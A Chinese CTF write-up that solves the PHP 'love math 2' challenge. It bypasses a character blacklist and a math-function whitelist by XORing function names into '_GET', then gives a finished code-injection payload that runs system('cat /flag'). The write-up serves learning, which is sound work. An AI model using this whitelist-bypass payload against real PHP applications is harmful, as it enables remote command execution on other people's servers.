一道很棒的PHP题目
0x00 前言
到底什么是能力?鄙人看来,即是根据已有的和能收集到的知识,通过各种方式达成目的。这里的”知识“又称为经验,”方式“又称为思维。(实际上,收集知识也是一种很重要的能力)
如上所言,我很注重培养自己的经验和思维。经验可以依靠持之以恒的积累,但是思维的提升需要深度的思考。每做一题,可以积累经验,每复盘一题,可以提升思维——磨刀不误砍柴工。
0x01 题目
题目来源:NestCTF-2019-Web-love math 2
题目如下(纯PHP代码):
1 |
|
PHP版本
PHP5.6
0x02 分析
通观
通观本题,有三个限制。
第一个限制:
1 | if (strlen($content) >= 60) { |
长度限制,限制了纯异或和纯取反getshell的可能。
第二个限制:
1 | $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]']; |
过滤的并不严格,空格好说,引号相当麻烦但还是能解,中括号限制了传参(真的吗?)。
第三个限制:
1 | $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh']; |
这个正则进行二项匹配,第一项和第二项的差别就是第一项少了数字的匹配。该正则可以很高效地找到函数名以验证匹配项是否为白名单里的数学函数名。(这里的猜想不就是自己对自己的暗示吗)
本质
去看到本质。
那如何到达本质呢?
去理解原理,原理常常是本质。
暗示
外物和自己的暗示常常误导我们,使我们难以看到本质。
- 本题题目:love math,即是暗示我们这题跟数学有关
- 本题注释:听说你很喜欢数学,还是暗示本题与数学有关
- 本题白名单:全是数学函数名,暗示我们只能使用数学函数
- 自己的猜想:该正则可以很高效地找到函数名以验证是否是白名单里的数学函数名,进一步暗示白名单只允许数学函数
综合上面的暗示,我们很自然地认为本题就是利用白名单允许的数学函数进行数学计算。
如果你真的这么理解了,那题目就很难解了。
原理
此处的原理是工作原理的意思。
黑名单的工作原理是检测是否有非法字符存在,容易理解。白名单的工作原理是结合正则实现:匹配字符串必须要是白名单字符,也容易理解。
但是我们上面如果被暗示了:
本题就是利用白名单允许的数学函数进行数学计算
那么我们就会往如何利用数学函数这个方向去思考。
这样的思考方向是被误导的。白名单只是检测字符,函数名是字符,变量名也是字符。我们并不想使用白名单里的数学函数(函数名加上小括号),但是我们可以使用白名单里的函数名(更本质一点,是字符串)作为变量名。此外,$号不在黑白名单,不会被禁止且不会被白名单匹配——这样使得$abs这样的变量不会被白名单拦截。
综上所述:
不要被题目的暗示潜移默化地影响,要知道无论是黑名单还是白名单,原理上都是检测字符串,而不是检测函数或语句等等。
对于黑名单,我们要找到常用的或者可利用的字符(比如异或和取反符号)
对于白名单,我们要知道如何成功匹配正则
0x03 构造
原型
我们的目的是与系统实现交互。比如实现这个指令:system('whoami')
,放在完整语句里就是:
1 | echo system('whoami'); |
因为whoami
属于与系统交互的指令,我们不倾向于构造这种灵活的指令,所以希望用其他GET参数传递。既然要GET参数传递,那么我们主要的工作就是如何构造$_GET[1]。PHP里可以这么操作:
1 |
|
那么现在的目的就是该怎么构造$abs = "_GET";
。
异或
三种引号都被禁了,那么编码绕过也没戏了,看来我们只能采用异或或者取反——本题采用异或。
异或是一个字符一个字符异或,3长度的字符串异或2长度的字符串只会返回前两对字符异或的结果字符串。我们可以使用白名单的字符串和数字进行异或(本题如此),也可以使两者自己异或自己(没试过,说不定可以)。
写个PHP脚本给出各个情况下的异或结果:
1 |
|
结果如下:
num | str | xor |
---|---|---|
0 | d | T |
0 | o | _ |
1 | e | T |
1 | n | _ |
1 | t | E |
2 | f | T |
2 | m | _ |
3 | g | T |
3 | l | _ |
3 | t | G |
4 | s | G |
5 | a | T |
5 | p | E |
5 | r | G |
6 | b | T |
6 | i | _ |
6 | s | E |
7 | c | T |
7 | h | _ |
7 | p | G |
7 | r | E |
8 | g | _ |
8 | l | T |
9 | f | _ |
9 | m | T |
再赋值给变量即可。但是如果每一个变量只赋值一个字符,最后的payload很可能超过题目所允许的长度。
所以再分析、简化:
(基于下面的数据,使一个变量可以赋值两个字符)
1 | /* |
化简如下:
1 | /* |
绕过
引号被过滤了,如何绕过呢?
在PHP5下,有这么一个语法:
1 | $pi=(mt_rand^(2).(3)).(tan^(1).(5));$$pi{1}($$pi{2}); |
mt_rand这种未定义的常量可以被当做字符串对待,是我没想到的——这就是经验的重要性!
其实PHP7下,该语法会warning,但是同样会返回结果。但是在PHP8下,会直接引发报错,这里不赘叙。
结果
payload如下:
c=$pi=(mt_rand^(2).(3)).(tan^(1).(5));$$pi{1}($$pi{2})&1=system&2=cat /flag
0x04 结语
本题先宏观分析各个限制,再基于目的给出payload原型,利用各种绕过实现getshell。
其中,各种绕过是基于我们对于本质(本题主要是黑白名单的工作原理)的了解和自身的经验才能想到的。
通过本题和附带的调试,我们知道了不同的PHP版本,其语法也是有一些不同的。正是这些不同,帮助我们绕过了引号。
此题,甚好。